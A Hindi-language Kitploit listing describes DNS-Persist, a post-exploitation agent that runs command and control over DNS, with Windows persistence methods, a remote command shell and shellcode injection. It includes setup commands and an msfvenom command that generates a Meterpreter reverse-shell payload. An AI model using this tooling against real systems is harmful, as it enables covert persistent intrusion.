Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DNS-Persist — DNS-Persist एक पोस्ट-एक्सप्लॉयटेशन एजेंट है जो कमांड और कंट्रोल के लिए DNS का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/0x09al/dns-persist
पेलोड जनरेशनस्थायित्व तंत्रशेलकोडपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगDNS विश्लेषण
GitHub0x09al/dns-persist

DNS-Persist

DNS-Persist एक पोस्ट-एक्सप्लॉयटेशन एजेंट है जो कमांड और कंट्रोल के लिए DNS का उपयोग करता है।

रिपॉजिटरी देखें
207638 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DNS-Persist

DNS-Persist एक पोस्ट-एक्सप्लॉइटेशन एजेंट है जो कमांड और कंट्रोल के लिए DNS का उपयोग करता है। सर्वर-साइड कोड Python में है और एजेंट C++ में लिखा गया है। यह पहला संस्करण है, भविष्य में और अधिक सुविधाएँ और सुधार जोड़े जाएँगे।

आरंभ करना

लेखक

0x09AL - https://twitter.com/0x09al

अस्वीकरण

इस सॉफ़्टवेयर का उपयोग अवैध उद्देश्यों के लिए न करें।

यहाँ प्रदान किए गए कोड के किसी भी दुरुपयोग के लिए लेखक कोई ज़िम्मेदारी नहीं लेता है।

क्या मैंने पहिए का पुनः आविष्कार किया ?

DNS C2 पर बहुत सारा बेहतरीन काम मौजूद है, लेकिन मैंने यह सॉफ़्टवेयर पर्सिस्टेंस भाग पर अधिक ध्यान केंद्रित करने के लिए बनाया है। मैं C++ में विशेषज्ञ नहीं हूँ और यह C++ में मेरा पहला "वास्तविक प्रोग्राम" है (इसलिए कुछ शर्मनाक कोड की उम्मीद करें)।

सुविधाओं और सुधारों के बारे में सुझावों का स्वागत है।

आर्किटेक्चर

इसके दो मुख्य भाग हैं:

  1. DNS सर्वर
  2. एजेंट

alt text

विशेषताएँ

पर्सिस्टेंस तंत्र

इस संस्करण में केवल 3 पर्सिस्टेंस तंत्र हैं। बाद में और जोड़े जाएँगे।

  1. LogonScript पर्सिस्टेंस।
  2. RunKey पर्सिस्टेंस।
  3. Excel Addin पर्सिस्टेंस।

'इंटरैक्टिव' कमांड शेल

यह संस्करण स्यूडो-इंटरैक्टिव कमांड शेल का समर्थन करता है जिसका उपयोग आप सिस्टम कमांड निष्पादित करने के लिए कर सकते हैं।

शेलकोड इंजेक्शन

यह संस्करण 32-बिट शेलकोड के इंजेक्शन का समर्थन करता है। शेलकोड उसी प्रक्रिया में एक नए थ्रेड में निष्पादित होता है, इसलिए क्रैश होने वाला या अमान्य शेलकोड एजेंट को भी क्रैश कर देगा। शेलकोड में NULL बाइट्स से बचें।

शेलकोड जनरेशन उदाहरण

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex

TODO सूची

  1. एन्क्रिप्शन जोड़ें। इस संस्करण में कोई एन्क्रिप्शन नहीं है, इसलिए इसे उपयोग करते समय अपने जोखिम स्वयं लें।
  2. और पर्सिस्टेंस तंत्र जोड़ें।
  3. विभिन्न प्रोग्रामिंग भाषाओं में एजेंट।

इंस्टॉलेशन और उपयोग

सर्वर साइड

root@kitploit:~
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py

डिफ़ॉल्ट रूप से पोर्ट 53 पर एक DNS सर्वर शुरू किया जाएगा। आप इसे server.py फ़ाइल में बदल सकते हैं।

एजेंट

मैंने एजेंट को कोड करने के लिए Visual Studio 2010 का उपयोग किया है, इसलिए इसे इम्पोर्ट करना और कंपाइल करना काफी आसान होना चाहिए।

अपने डोमेन नाम से मेल खाने के लिए Declarations.h में DOMAIN_NAME वेरिएबल को बदलना याद रखें।

डोमेन के नेमसर्वर DNS-Persist के IP पते की ओर इंगित करने चाहिए।

root@kitploit:~
#define DOMAIN_NAME "example.com"

स्क्रीनशॉट

  1. Picture-1

alt text

  1. Picture-2

alt text

  1. Picture-3

alt text

  1. Picture-4

alt text

टूल डाउनलोड करें